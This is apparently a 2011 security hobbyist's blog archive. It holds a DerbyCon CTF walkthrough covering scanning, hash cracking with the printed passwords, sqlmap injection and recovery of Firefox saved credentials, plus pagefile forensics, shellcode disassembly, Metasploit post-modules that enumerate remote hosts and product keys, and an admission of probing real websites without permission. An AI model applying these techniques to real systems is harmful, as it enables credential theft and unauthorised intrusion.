60108a: 48 3d 42 42 42 42     cmp    $0x42424242,%rax 601090: 75 3b jne 6010cd 601092: 5a pop %rdx 601093: 89 d1 mov %edx,%ecx 601095: 89 e6 mov %esp,%esi 601097: 89 df mov %ebx,%edi 601099: 29 cf sub %ecx,%edi 60109b: f3 a4 rep movsb %ds:(%rsi),%es:(%rdi) 60109d: 89 de mov %ebx,%esi 60109f: 89 d1 mov %edx,%ecx 6010a1: 89 df mov %ebx,%edi 6010a3: 29 cf sub %ecx,%edi 6010a5: 31 c0 xor %eax,%eax 6010a7: 31 db xor %ebx,%ebx 6010a9: 31 d2 xor %edx,%edx 6010ab: fe c0 inc %al 6010ad: 02 1c 06 add (%rsi,%rax,1),%bl 6010b0: 8a 14 06 mov (%rsi,%rax,1),%dl 6010b3: 8a 34 1e mov (%rsi,%rbx,1),%dh 6010b6: 88 34 06 mov %dh,(%rsi,%rax,1) 6010b9: 88 14 1e mov %dl,(%rsi,%rbx,1) 6010bc: 00 f2 add %dh,%dl 6010be: 30 f6 xor %dh,%dh 6010c0: 8a 1c 16 mov (%rsi,%rdx,1),%bl 6010c3: 8a 17 mov (%rdi),%dl 6010c5: 30 da xor %bl,%dl 6010c7: 88 17 mov %dl,(%rdi) 6010c9: 47 rex.RXB 6010ca: 49 75 de rex.WB jne 6010ab 6010cd: 31 db xor %ebx,%ebx 6010cf: 89 d8 mov %ebx,%eax 6010d1: fe c0 inc %al 6010d3: cd 80 int$0x80
6010d5: 90                    nop
6010d6: 90                    nop
6010d7: e8 9d ff ff ff        callq  601079
6010dc: 41                    rex.B
6010dd: 41                    rex.B
6010de: 41                    rex.B
6010df: 41 00 00              add    %al,(%r8)

Definitely legitimate shellcode. The x86 asm gcc spits out is exactly what I wanted to see. Not only that, but do you see the 0xdeadbeef?

Once I knew I was in the right direction, I loaded the binary into gdb. I through a breakpoint on the printf line with
break printf
and ran the binary. I looked at the stack frame, traversed through the memory and found the strings I suspected were what we were supposed to be looking for. However, they seemed to be all multi-byte characters. I wasn't able to decipher any of them within the time limit. I had found out about the contest about 2 hours before it was over. This took me about an hour to get to traversing the stack for the strings, and I got stuck.

Oh well. Maybe next time if I have more time I can get a bit further.

## Saturday, November 26, 2011

### Easily splitting and storing traceroute data

Traceroute is very useful, but the data it spits out can be a bit tough to chew on. I came up with this one-liner to make it more CSV compatible so you can Split() on commas and have the correct data where you expect it.
traceroute google.com | sed 's/  /,/g' | sed 's/ ms / ms,/g'

This take load balancers into account as well, so when your route slightly changes during a hop, you can still easily grok the data coming back. Basically, take double-spaces and replace them with a comma. The second sed is what takes the load balancers into account, fixing the output so it is the same as the prior hop test.

## Tuesday, November 22, 2011

### My NHibernate Configuration for Mono and PostgreSQL

I love C#. It is by far my favorite language. I have been using mono to write C# application on linux for a few years now.

Ruby is growing on me, but only because of Metasploit. I wouldn't even bother with Ruby if it weren't for MSF. Generally, I switch back and forth between C# and Ruby (and, coincidentally, Monodevelop and vim respectively) a few times a day, or even going at both at the same time.

One of my personal projects requires a lot of DB stuff. At a previous job, I was introduced to NHibernate, this is by far the easiest way to manage your DB objects within your code. While this job was Windows centric (MSSQL, visual studio, etc...), I have adapted what I learned to Linux as well. I like PostgreSQL more than I like MySQL, and am very happy that NHibernate supports this dialect. It wasn't straight forward, though, figuring out the exact details. Maybe this will help someone in the same boat I am in.

The most important thing is you hibernate.hbm.xml. This is where you SQL connection string is, and where you tell NHibernate what dialect of SQL you are using:

<?xml version="1.0" encoding="utf-8"?>
<hibernate-configuration  xmlns="urn:nhibernate-configuration-2.2" >
<session-factory>
<property name="connection.provider">NHibernate.Connection.DriverConnectionProvider</property>
<property name="connection.driver_class">NHibernate.Driver.NpgsqlDriver</property>
<property name="connection.connection_string">
</property>
<property name="dialect">NHibernate.Dialect.PostgreSQL82Dialect</property>
<property name='proxyfactory.factory_class'>NHibernate.ByteCode.LinFu.ProxyFactoryFactory, NHibernate.ByteCode.LinFu</property>
</session-factory>
</hibernate-configuration>

This requires Npgsql.dll, which runs with Mono just fine. The small detail that caused me much stress early on was the dialect property name.

<property name="dialect">NHibernate.Dialect.PostgreSQL82Dialect</property>

At first, I was missing the "82" in the middle of the dialect name. This defaults to PostgreSQL 7.4. I am running 8.4, and there were incompatibilities that caused issues. After a day or two, I finally figured out what was causing my problems.

I hope this helps others.

## Tuesday, November 15, 2011

### Metasploit and the Penetration Testing Execution Standard

I was recently asked to map out the Metasploit Framework's functionality with the PTES.

Have a look at the whitepaper, if you are interested in Metasploit or network security, it should be a great read.

www.tinyurl.com/msf-ptes

## Saturday, November 12, 2011

### CorpWatch API integration with Metasploit: Information Gathering

I have submitted two modules today to the Metasploit redmine that allow integration of the CorpWatch API. They are very neat modules, allowing you to bring in information from SEC EDGAR straight into Metasploit without leaving the console. You can find and research parent and child companies, view past addresses, past names, SEC filings, all sorts of valuable information with gathering information on a company during an engagement.

Here is an example run: http://pastebin.com/d9MKjiQ2

Hopefully these modules will hit trunk soon, but if you want to play with them now, the diff is taken from the framework root.

## Monday, October 10, 2011

### On Information Leakage/Disclosure and Responsibilty

I enjoy helping people. I enjoy helping them learn, and helping them not make mistakes. Sometimes, however, I find mistakes people have made and am told to walk away from them.

Whenever I find a security hole in a website, I don't always have permission to look at it and exploit it. I _never_ do damage to systems I find security holes in. I tell the appropriate people what I have found, how I found it, how to resolve it, and make sure they understand I had no ill intent.

I have found security holes (usually SQL injections) in very large website that deal with customer data, online shopping, etc. I have even found SQL injections in government websites. I am told by seasoned professionals in the security field that the best thing to do when finding these holes is to walk away and pretend like I never found them. Companies love suing people, and governments love imprisoning people.

I feel like this is completely irresponsible. It is absolutely contrary to what I was taught growing up. If I can help a company out by pinpointing their flaws before an attacker does, I should not fear being sued or imprisoned. I consider it a matter of Good Samaritanism. You don't imprison or sue those trying to help you.

## Tuesday, October 4, 2011

### Analyzing the Windows pagefile.sys from GNU/Linux

Problem: Given a pagefile.sys, how much information can you gain about the victim?

Hints: The pagefile.sys is stored as a bunch of 4k blocks. It is "virtual memory".

strings pagefile.sys | grep -i "^[a-z]:\\\\" | sort | uniq | less #List all paths in pagefile

NOTE: You could find a lot of paths referencing "d:\nt\base\random\path\to\src.c". These seem to be related to the drivers being loaded into memory and being pushed to the pagefile.

---------------

strings pagefile.sys | grep -i "^[a-zA-Z09_]*=.*" | sort -u | uniq | less #print env vars

You will invariably get a lot of false positives with this one. But a lot of good information as well.

----------------

strings pagefile.sys | egrep '([[:alnum:]_.-]{1,64}+@[[:alnum:]_.-]{2,255}+?\.[[:alpha:].]{2,4})' #print all email addresses.

There is a lot of good information that can be found that regular expressions simply can't pick up (or I just didn't think of).

-----------

One thing you can do to help protect youself is looking at this kb on how to wipe your pagefile on shutdown. A simple registry tweak is all it takes.

If you have shell on the victim, using meterpreter you can find out the values of this key using this:

reg enumkey -k HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory Management

FTA:

Change the data value of the ClearPageFileAtShutdown value in the following registry key to a value of 1:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
If the value does not exist, add the following value:
Value Name: ClearPageFileAtShutdown
Value Type: REG_DWORD
Value: 1

## Monday, October 3, 2011

### DerbyCon CTF Results and Notes

This weekend I attended DerbyCon, a hacker convention being held for its first time in Louisville, Kentucky. It had great talks by industry heavyweights in security, and a really awesome and fun CTF game. Initially, I wasn't even planning on playing the CTF. I had never done anything like the CTF before, and expected to be trounced. As it turns out though, a friend of mine, TheLightCosine, and I were bored and decided to check it out. TheLightCosine was actually taking Win32 exploit development training from corelanc0der and wasn't able to compete very much. Even when not in training, his brain was fried. The training was a bootcamp. With some help from TheLightCosine, however, I was able to place 5th on the CTF. Next year, I plan to be more organized and take the game a bit more seriously. All the notes I list here were just kept in my head, so I may miss a few things. This is also an abridged version.

The rules were simple. A small network was setup (derbycon_ctf) with no internet connection. There were two public targets that you were allowed to hack on (10.1.1.15,10.1.1.16), and one public target that was off limits (10.1.1.10). The latter was where the scoreboard resided and where you submitted your flags for your points.

The first thing I did when joining was nmapping the two targets that we were allowed to hack.
nmap -sS -O -PN -PU 10.1.1.15,16

This gave me an initial idea of what services the boxen were running. 10.1.1.15 had ports 80, 13370, and 3389. 10.1.1.16 was running 21,80,443, and 3389. Both were windows 2003 boxes. Occasionally, ports 23, 25, and 1337 would open on 10.1.1.16. This really confused me, but I assumed right off the bat that they were actually netcat listeners. I was never able to connect to one as someone always found them before I did. During the closing ceremonies, when the CTF prizes were given out, my assumption was confirmed by the CTF admins. They were netcat listeners.

One of the most important stages when hacking into machines like this is simple information gathering. We have HTTP/S ports, we have FTP, and we have MS Terminal Services. It turns out that port 13370 on 10.1.1.15 is also HTTP. The SSL Certificate for the HTTPS port on 10.1.1.16 was invalid, something to note for later use.

First things first, I hit up the ftp port. 'Lo and behold, a flag was waiting for me in the banner (Flag=AnonymousFTP). Logging in I found about 10 or so files on the ftp and two folders. One folder was locked down, I couldn't get in. The other, however, contained a text file with usernames and hashes. Other files on the root of the ftp were firefox databases for saved credentials, an .NET exe that you were required to reverse engineer (I almost figured this one out), a pcap file, and a file with a .docx extension (though it is just a plain text file). I downloaded these files to a local folder for later processing. My first action was to crack those hashes I found on the ftp server. I used john for this.

root@gits-and-shiggles:/home/upgraydd/Pictures/hidden# john --show secretdataAdministrator:NO PASSWORD:500:28361B9A6A28663E73EB37AA1787B284:::derbycon:KENTUCKY:1012:8CFC8328E285BAE5702FB32AE7C95F87:::ftpuser:FTP1:1013:2AED8B7C119F79B4F81D3FF9EB1760F3:::jamesbond:007:1015:0B0412D8761239A73143EFAE928E9F0A:::root:TOOR:1014:AFC44EE7351D61D00698796DA06B1EBF:::sqldb:NO PASSWORD:1007:9CB9DCE36C9566A195A42282ADC6A404:::texasranger:CHUCKNORRIS:1016:167A7A68DEA1D4FBD7B3F4F444690F24:::9 password hashes cracked, 0 leftroot@gits-and-shiggles:/home/upgraydd/Pictures/hidden#

This gave me credentials to work with now. None of these creds allowed me to get into the locked folder on ftp like I expected. I set these aside for later use. Once I had these, I decided to take a look at the terminal services ports. I used tsclient to connect to both 10.1.1.15 and 10.1.1.16. This gave a me a flag, but none of my credentials worked to log in. The flag, interestingly enough, was WasteOfTime. I decided to start perusing the http ports next.

10.1.1.16:80 gave two flags actually. One in the title of the index page, and one as an HTML comment. Super easy stuff. 10.1.1.16:80 also gives you a url to 10.1.1.15:13370/upload/upload.aspx. I wasn't able to break this script and get the flag I wanted.

Before I forget, one of the files on the FTP root was a file called qr.jpg. opening this up and reading the qr code with my phone yielded a flag. Dumping the exif data showed and interesting sup3rs3cr3tk3y string, apparently this was a flag, but it was not as apparent as the rest. When I found this out, I /headdesk'ed.

If you go to the HTTP root of 10.1.1.15:13370, you find a replica of the derbycon.com website. It is slightly altered however, a few flags are thrown around inside and in cookies. There is also a new News page, which I figured out a sql injection for to receive another flag. Thankfully, TheLightCosine showed me how to save the post request with the sql injection via burpsuite and pass the request to sqlmap. This was a gold mine, giving me many more flags. I missed one however, and I have no idea where it would have been. It also turns out the version of sqlmap in the Ubuntu repos is very old. I needed to download the latest release from sourceforge in order to use this functionality (the -r flag in sqlmap). Also on this news page was an HTML comment with some credentials. I found this very early on and tried it on the FTP with no success. This bothered me because the credentials were ftpuser:ThisWillGetYouIn. It turns out the admins mistyped the username. It was supposed to be ftpadmin:ThisWillGetYouIn. Once they realised what happened, they updated the scoreboard with some vague information about an FTP credential on the site being fixed. I saw this, went back and grabbed the new creds. This worked on the FTP and got me into the folder I was not allowed in earlier. Inside the folder was a textfile with another flag.

I also remembered at this point I had yet to look at the robots.txt file on any of the web servers. This also led to two flags being found. One in the robots.txt file itself, and one that was referenced by the robots.txt.

While I let sqlmap dump what it found, I decided to go ahead and look at the files I got off ftp one more time. Three files jumped out at me. signons.sqlite, cert8.db and keey3.db. These files are how Firefox stores its stored credentials. I don't use firefox, and actually uninstalled it quite a long time ago off my netbook. I installed it, dropped the files into my user profile, went to Properties > Security > Show passwords in firefox and got another flag.

One thing I found in the /download folder of 10.1.1.15:13370 was a testkey.pem.txt. This was a private key. The pcap file on the ftp had SSL traffic in it, so TheLightCosine showed me how to decrypt the SSL traffic in the pcap file through wireshark. Once decrypted we found another flag. However, I felt like there was more to this pcap file than met the eye. I ran the pcap file through strings and ended up finding yet another flag.

At this point, I felt like I had exhausted the web servers for clues. I decided to run nikto on each port offering HTTP on both 10.1.1.15 and 10.1.1.16. This yielded a flag in the SSL cert and a vulnerable version of FCKeditor which I was unable to pop. During the closing ceremonies, the admins also showed us a file that nobody had gotten. A web.config.txt was sitting on the root of one of the web servers.

At this point, I turned my attention to the .NET exe. I was able to use mono to run it.

root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe WARNING: The runtime version supported by this application is unavailable.Using default runtime: v1.1.4322No flag for you.root@gits-and-shiggles:/home/upgraydd/Pictures#

I decided to see what happened when I passed it an argument.

root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe fdjsklaWARNING: The runtime version supported by this application is unavailable.Using default runtime: v1.1.4322Try Harder N00b.root@gits-and-shiggles:/home/upgraydd/Pictures#

Interesting, so it recognizes an argument was passed and changes its output. At this point I decided to disassemble the executable using monodis.

WARNING: The runtime version supported by this application is unavailable.Using default runtime: v1.1.4322.assembly extern mscorlib{ .ver 4:0:0:0 .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..}.assembly extern System.Core{ .ver 4:0:0:0 .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..}.assembly 'fu'{ .custom instance void [mscorlib]System.Runtime.Versioning.TargetFrameworkAttribute::.ctor(string) = ( 01 00 29 2E 4E 45 54 46 72 61 6D 65 77 6F 72 6B // ..).NETFramework 2C 56 65 72 73 69 6F 6E 3D 76 34 2E 30 2C 50 72 // ,Version=v4.0,Pr 6F 66 69 6C 65 3D 43 6C 69 65 6E 74 01 00 54 0E // ofile=Client..T. 14 46 72 61 6D 65 77 6F 72 6B 44 69 73 70 6C 61 // .FrameworkDispla 79 4E 61 6D 65 1F 2E 4E 45 54 20 46 72 61 6D 65 // yName..NET Frame 77 6F 72 6B 20 34 20 43 6C 69 65 6E 74 20 50 72 // work 4 Client Pr 6F 66 69 6C 65 ) // ofile .custom instance void class [mscorlib]System.Reflection.AssemblyTitleAttribute::'.ctor'(string) = (01 00 07 64 72 6F 70 70 65 72 00 00 ) // ...dropper.. .custom instance void class [mscorlib]System.Reflection.AssemblyDescriptionAttribute::'.ctor'(string) = (01 00 00 00 00 ) // ..... .custom instance void class [mscorlib]System.Reflection.AssemblyConfigurationAttribute::'.ctor'(string) = (01 00 00 00 00 ) // ..... .custom instance void class [mscorlib]System.Reflection.AssemblyCompanyAttribute::'.ctor'(string) = (01 00 09 4D 69 63 72 6F 73 6F 66 74 00 00 ) // ...Microsoft.. .custom instance void class [mscorlib]System.Reflection.AssemblyProductAttribute::'.ctor'(string) = (01 00 07 64 72 6F 70 70 65 72 00 00 ) // ...dropper.. .custom instance void class [mscorlib]System.Reflection.AssemblyCopyrightAttribute::'.ctor'(string) = ( 01 00 1B 43 6F 70 79 72 69 67 68 74 20 C2 A9 20 // ...Copyright .. 4D 69 63 72 6F 73 6F 66 74 20 32 30 31 31 00 00 ) // Microsoft 2011.. .custom instance void class [mscorlib]System.Reflection.AssemblyTrademarkAttribute::'.ctor'(string) = (01 00 00 00 00 ) // ..... .custom instance void class [mscorlib]System.Runtime.InteropServices.ComVisibleAttribute::'.ctor'(bool) = (01 00 00 00 00 ) // ..... .custom instance void class [mscorlib]System.Runtime.InteropServices.GuidAttribute::'.ctor'(string) = ( 01 00 24 65 34 65 37 63 61 36 63 2D 63 32 61 62 // ..\$e4e7ca6c-c2ab 2D 34 32 34 32 2D 61 33 65 35 2D 34 63 39 33 33 // -4242-a3e5-4c933 63 37 30 65 66 62 30 00 00 ) // c70efb0.. .custom instance void class [mscorlib]System.Reflection.AssemblyFileVersionAttribute::'.ctor'(string) = (01 00 07 31 2E 30 2E 30 2E 30 00 00 ) // ...1.0.0.0.. .custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::'.ctor'(int32) = (01 00 08 00 00 00 00 00 ) // ........ .custom instance void [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::.ctor() = ( 01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78 // ....T..WrapNonEx 63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01 ) // ceptionThrows. .hash algorithm 0x00008004 .ver 1:0:0:0}.module fu.exe // GUID = {B3456451-E34C-4B2C-A452-4A83679B44EF}.namespace fu{ .class private auto ansi beforefieldinit Program extends [mscorlib]System.Object { // method line 1 .method private static hidebysig default void Main (string[] args) cil managed { // Method begins at RVA 0x2050 .entrypoint // Code size 98 (0x62) .maxstack 2 .locals init ( string V_0, string V_1, string V_2, bool V_3) IL_0000: ldc.i4.1 IL_0001: br.s IL_0006 IL_0003: ldc.i4.0 IL_0004: br.s IL_0006 IL_0006: brfalse.s IL_0008 IL_0008: nop IL_0009: ldstr "290e1babf4daa83eb606f0b4e02c73be" IL_000e: stloc.0 IL_000f: ldstr "/cqhcfUx1LO/mUsiT5fV2WijYMEDdvsi/gh214qRVPfauxChLplgBDMHScj8v/PDYt1F03x1r4FAdNe2uP9iHeAsPqcwEWzw3WTk7UN0jQ0=" IL_0014: stloc.1 IL_0015: ldarg.0 IL_0016: ldlen IL_0017: conv.i4 IL_0018: ldc.i4.1 IL_0019: ceq IL_001b: stloc.3 IL_001c: ldloc.3 IL_001d: brtrue.s IL_002d IL_001f: nop IL_0020: ldstr "No flag for you." IL_0025: call void class [mscorlib]System.Console::WriteLine(string) IL_002a: nop IL_002b: br.s IL_0061 IL_002d: ldarg.0 IL_002e: ldc.i4.0 IL_002f: ldelem.ref IL_0030: call string class fu.Program::GetMd5Hash(string) IL_0035: stloc.2 IL_0036: ldloc.2 IL_0037: ldloc.0 IL_0038: call bool string::Equals(string, string) IL_003d: stloc.3 IL_003e: ldloc.3 IL_003f: brtrue.s IL_004f IL_0041: nop IL_0042: ldstr "Try Harder N00b." IL_0047: call void class [mscorlib]System.Console::WriteLine(string) IL_004c: nop IL_004d: br.s IL_0061 IL_004f: ldloc.1 IL_0050: call void class [mscorlib]System.Console::WriteLine(string) IL_0055: nop IL_0056: ldstr "Fix me :P" IL_005b: call void class [mscorlib]System.Console::WriteLine(string) IL_0060: nop IL_0061: ret } // end of method Program::Main // method line 2 .method private static hidebysig default string GetMd5Hash (string input) cil managed { // Method begins at RVA 0x20c0 // Code size 90 (0x5a) .maxstack 3 .locals init ( class [mscorlib]System.Security.Cryptography.MD5 V_0, unsigned int8[] V_1, class [mscorlib]System.Text.StringBuilder V_2, int32 V_3, string V_4, bool V_5) IL_0000: nop IL_0001: call class [mscorlib]System.Security.Cryptography.MD5 class [mscorlib]System.Security.Cryptography.MD5::Create() IL_0006: stloc.0 IL_0007: ldloc.0 IL_0008: call class [mscorlib]System.Text.Encoding class [mscorlib]System.Text.Encoding::get_UTF8() IL_000d: ldarg.0 IL_000e: callvirt instance unsigned int8[] class [mscorlib]System.Text.Encoding::GetBytes(string) IL_0013: callvirt instance unsigned int8[] class [mscorlib]System.Security.Cryptography.HashAlgorithm::ComputeHash(unsigned int8[]) IL_0018: stloc.1 IL_0019: newobj instance void class [mscorlib]System.Text.StringBuilder::'.ctor'() IL_001e: stloc.2 IL_001f: ldc.i4.0 IL_0020: stloc.3 IL_0021: br.s IL_0041 IL_0023: nop IL_0024: ldloc.2 IL_0025: ldloc.1 IL_0026: ldloc.3 IL_0027: ldelema [mscorlib]System.Byte IL_002c: ldstr "x2" IL_0031: call instance string unsigned int8::ToString(string) IL_0036: callvirt instance class [mscorlib]System.Text.StringBuilder class [mscorlib]System.Text.StringBuilder::Append(string) IL_003b: pop IL_003c: nop IL_003d: ldloc.3 IL_003e: ldc.i4.1 IL_003f: add IL_0040: stloc.3 IL_0041: ldloc.3 IL_0042: ldloc.1 IL_0043: ldlen IL_0044: conv.i4 IL_0045: clt IL_0047: stloc.s 5 IL_0049: ldloc.s 5 IL_004b: brtrue.s IL_0023 IL_004d: ldloc.2 IL_004e: callvirt instance string object::ToString() IL_0053: stloc.s 4 IL_0055: br.s IL_0057 IL_0057: ldloc.s 4 IL_0059: ret } // end of method Program::GetMd5Hash // method line 3 .method private static hidebysig default string EncryptString (string plainText, string Key) cil managed { // Method begins at RVA 0x2128 } // end of method Program::EncryptString // method line 4 .method private static hidebysig default string DecryptString (string cipherText, string Key) cil managed { // Method begins at RVA 0x228c } // end of method Program::DecryptString // method line 5 .method public hidebysig specialname rtspecialname instance default void '.ctor' () cil managed { // Method begins at RVA 0x24c4 // Code size 7 (0x7) .maxstack 8 IL_0000: ldarg.0 IL_0001: call instance void object::'.ctor'() IL_0006: ret } // end of method Program::.ctor } // end of class fu.Program}

I immediately notice that it stores an MD5 hash in a string, and another string that appears to in base64. Following the logic, I realised that it took the argument, md5'd it and compared the result to the stored md5 sum. If it matched, it would print the base64 string and tell you to fix it. Technically, you don't even need to know what the argument it is expecting is, but I wanted to be thorough. The md5sum is an md5sum of the string 'kc57' (one of the CTF admins @_kc57).

root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe kc57WARNING: The runtime version supported by this application is unavailable.Using default runtime: v1.1.4322/cqhcfUx1LO/mUsiT5fV2WijYMEDdvsi/gh214qRVPfauxChLplgBDMHScj8v/PDYt1F03x1r4FAdNe2uP9iHeAsPqcwEWzw3WTk7UN0jQ0=Fix me :Proot@gits-and-shiggles:/home/upgraydd/Pictures#

This string stumped me. I spent too much time on it and probably went every way I shouldn't have in order to figure it out. I never did.

I look forward to competing next year. TheLightCosine and I will probably team up for real and pwn some pants of.

## Tuesday, September 20, 2011

### My biggest hurdle in school

I suck at being in school. I feel incredibly unproductive as my classes are very slow. Once the teacher starts going into things s/he has already gone over (many times in some cases), I become very frustrated at wasting my time listening to the same information, over and over again. This happens in AP classes as well, though to a smaller extent. I begin thinking about all the things I could be working on instead, I always have projects I am working on.

The problem is that I know that I could be working on far more intellectually satisfying things. I am better as a part-time student, when my full time job/hobby suffices. I spend a large chunk of my time doing security/programming research, which is the most fun and intellectually satisfying hobby I have found yet. Hopefully I will be getting paid for it soon, and that is even better.

I also do not do well "being taught to". Give me the book and let me figure it out for myself, it will be much faster than slow lectures. A 3 hour class in Art Appreciation is hell. I have a large disdain for "authority", and this can become very burdensome as well.

## Sunday, August 28, 2011

### Enumerating microsoft keys on remote hosts using metasploit

I wrote a new module for metasploit that can (theoretically) enumerate any Microsoft product key stored as a DigitalProductId (most microsoft products).

I only have tested against windows 7 ultimate as I don't have a SQL server, exchange server, or MS office stuffs lying around to test with. Any testing with these apps would be a appreciated and feedback is even more appreciated.

The metasploit ticket is here.

## Tuesday, August 23, 2011

### Inverting ebooks for better reading

I like ebooks. I don't like staring at lightbulbs. Hopefully, this one-liner will help others with the same problems I have with black-on-white text ebooks.

pdf2ps foo.pdf - | convert - -negate bar.pdf

### Enumerating hardware on remote systems running Windows with Metasploit

At Arlington Computer Care where I work, I needed (really, just wanted) a way to enumerate the hardware drivers on an arbitrary host on the shops network. The reason is two-fold: We can pinpoint old drivers to the customer and we know what drivers to look for specifically when reloading a machine. Metasploit already has a rich API for gathering information from remote hosts, and since I wanted to perform this check from a Linux box, it was the most obvious choice for me. Plus, I have a lot of experience with it already.

Metasploit, however, did not have the functionality I wanted. To gather the hardware information from a remote host was going to entail writing a new post module, which I hadn't done before. I have written exploits in the past for, but no post modules. I found it was very fun and rewarding. It has been accepted into trunk for a week or two now, and here are the details on it.

msf  post(enum_devices) > info

Name: Windows Hardware Enumeration
Module: post/windows/gather/enum_devices
Version: 13559
Platform: Windows
Arch:
Rank: Normal

Provided by:
Brandon Perry

Description:
Enumerate PCI hardware information from the registry. Please note
this script will run through registry subkeys such as: 'PCI',
'ACPI', 'ACPI_HAL', 'FDC', 'HID', 'HTREE', 'IDE', 'ISAPNP',
'LEGACY'', LPTENUM', 'PCIIDE', 'SCSI', 'STORAGE', 'SW', and 'USB';
it will take time to finish. It is recommended to run this module as
a background job.

msf  post(enum_devices) >

Some example output:

msf  exploit(handler) > use post/windows/gather/enum_devices
msf  post(enum_devices) > set SESSION 1
SESSION => 1
msf  post(enum_devices) > run

[*] Enumerating hardware on WIN-684G41EV82S
^C[-] Post interrupted by the console user
[*] Post module execution completed
msf  post(enum_devices) > set VERBOSE true
VERBOSE => true
msf  post(enum_devices) > run

[*] Enumerating hardware on WIN-684G41EV82S
[*] Enumerating VEN_1274&DEV_1371&SUBSYS_13711274&REV_02
...snip for brevity...
[*] Enumerating VID_0E0F&PID_0003&MI_01

Device Information
==================

Device Description                                               Driver Version  Class           Manufacturer                          Extra
------------------                                               --------------  -----           ------------                          -----
VMware VMaudio (VMAUDIO) (WDM)                                   5.10.0.3506     MEDIA           VMware, Inc.
VMware SVGA 3D (Microsoft Corporation - WDDM)                    7.14.1.42       Display         VMware, Inc.
VMware VMCI Bus Device                                                           System          VMware, Inc.
Standard Enhanced PCI to USB Host Controller                     6.1.7601.17586  USB             (Standard USB Host Controller)
PCI standard PCI-to-PCI bridge                                   6.1.7601.17514  System          (Standard system devices)
PCI Express standard Root Port                                   6.1.7601.17514  System          (Standard system devices)
PCI Express standard Root Port                                                   System          (Standard system devices)
Intel(R) PRO/1000 MT Network Connection                          8.4.1.1         Net             Intel
Intel 82371AB/EB PCI to ISA bridge (ISA mode)                    6.1.7601.17514  System          Intel
Intel(R) 82371AB/EB PCI to USB Universal Host Controller         6.1.7601.17586  USB             Intel
Intel 82443BX Pentium(R) II Processor to PCI Bridge              6.1.7601.17514  System          Intel
Intel 82443BX Pentium(R) II Processor to AGP Controller          6.1.7601.17514  System          Intel
Microsoft AC Adapter                                             6.1.7600.16385  Battery         Microsoft
AMD Processor                                                    6.1.7600.16385  Processor       Advanced Micro Devices                AMD Phenom(tm) 9850 Quad-Core Processor
ACPI Fixed Feature Button                                        6.1.7601.17514  System          (Standard system devices)
EISA programmable interrupt controller                           6.1.7601.17514  System          (Standard system devices)
System timer                                                     6.1.7601.17514  System          (Standard system devices)
Direct memory access controller                                  6.1.7601.17514  System          (Standard system devices)
Standard PS/2 Keyboard                                           6.1.7601.17514  Keyboard        (Standard keyboards)
Printer Port                                                     6.1.7600.16385  Ports           (Standard port types)                 Printer Port (LPT1)
Communications Port                                              6.1.7600.16385  Ports           (Standard port types)                 Communications Port (COM1)
Communications Port                                              6.1.7600.16385  Ports           (Standard port types)                 Communications Port (COM2)
Standard floppy disk controller                                  6.1.7600.16385  fdc             (Standard floppy disk controllers)
System speaker                                                   6.1.7601.17514  System          (Standard system devices)
PCI bus                                                          6.1.7601.17514  System          (Standard system devices)
Generic Bus                                                      6.1.7601.17514  System          (Standard system devices)
System CMOS/real time clock                                      6.1.7601.17514  System          (Standard system devices)
Motherboard resources                                            6.1.7601.17514  System          (Standard system devices)
VMware Pointing Device                                           12.4.0.6        Mouse           VMware, Inc.
Microsoft ACPI-Compliant System                                  6.1.7601.17514  System          Microsoft
Floppy disk drive                                                6.1.7600.16385  FloppyDisk      (Standard floppy disk drives)
HID-compliant mouse                                              6.1.7600.16385  Mouse           Microsoft
CD-ROM Drive                                                     6.1.7601.17514  CDROM           (Standard CD-ROM drives)              HL-DT-ST DVD-RAM GSA-H55N ATA Device
Printer Port Logical Interface                                   6.1.7601.17514  System          (Standard system devices)             LPT1
IDE Channel                                                      6.1.7601.17514  hdc             (Standard IDE ATA/ATAPI controllers)
Microsoft ISATAP Adapter                                         6.1.7600.16385  Net             Microsoft
Microsoft Teredo Tunneling Adapter                               6.1.7600.16385  Net             Microsoft
ACPI x86-based PC                                                6.1.7600.16385  Computer        (Standard computers)
File as Volume Driver                                            6.1.7600.16385  System          Microsoft
Composite Bus Enumerator                                         6.1.7601.17514  System          Microsoft
Microsoft Composite Battery                                      6.1.7600.16385  Battery         Microsoft
Beep                                                                             LegacyDriver
CNG                                                                              LegacyDriver
LDDM Graphics Subsystem                                                          LegacyDriver
FAT12/16/32 File System Driver
Fs_Rec                                                                           LegacyDriver
KSecDD                                                                           LegacyDriver
KSecPkg                                                                          LegacyDriver
Link-Layer Topology Discovery Mapper I/O Driver                                  LegacyDriver
Msfs                                                                             LegacyDriver
NDProxy                                                                          LegacyDriver
NetBIOS Interface                                                                LegacyDriver
Npfs                                                                             LegacyDriver
Ntfs                                                                             LegacyDriver
Parvdm                                                                           LegacyDriver
Performance Counters for Windows Driver                                          LegacyDriver
PEAUTH                                                                           LegacyDriver
Security Driver                                                                  LegacyDriver
srvnet                                                                           LegacyDriver
TCP/IP Registry Compatibility                                                    LegacyDriver
udfs                                                                             LegacyDriver
VgaSave                                                                          LegacyDriver
vmhgfs                                                                           LegacyDriver
Memory Control Driver                                                            LegacyDriver
VMware Vista Physical Disk Helper                                                LegacyDriver
Storage volumes                                                                  LegacyDriver
Kernel Mode Driver Frameworks service                                            LegacyDriver
WFP Lightweight Filter                                                           LegacyDriver
Windows Socket 2.0 Non-IFS Service Provider Support Environment                  LegacyDriver
Microsoft System Management BIOS Driver                          6.1.7601.17514  System          (Standard system devices)
WAN Miniport (IKEv2)                                             6.1.7601.17514  Net             Microsoft
WAN Miniport (L2TP)                                              6.1.7600.16385  Net             Microsoft
WAN Miniport (Network Monitor)                                   6.1.7600.16385  Net             Microsoft
WAN Miniport (IP)                                                6.1.7600.16385  Net             Microsoft
WAN Miniport (IPv6)                                              6.1.7600.16385  Net             Microsoft
WAN Miniport (PPPOE)                                             6.1.7600.16385  Net             Microsoft
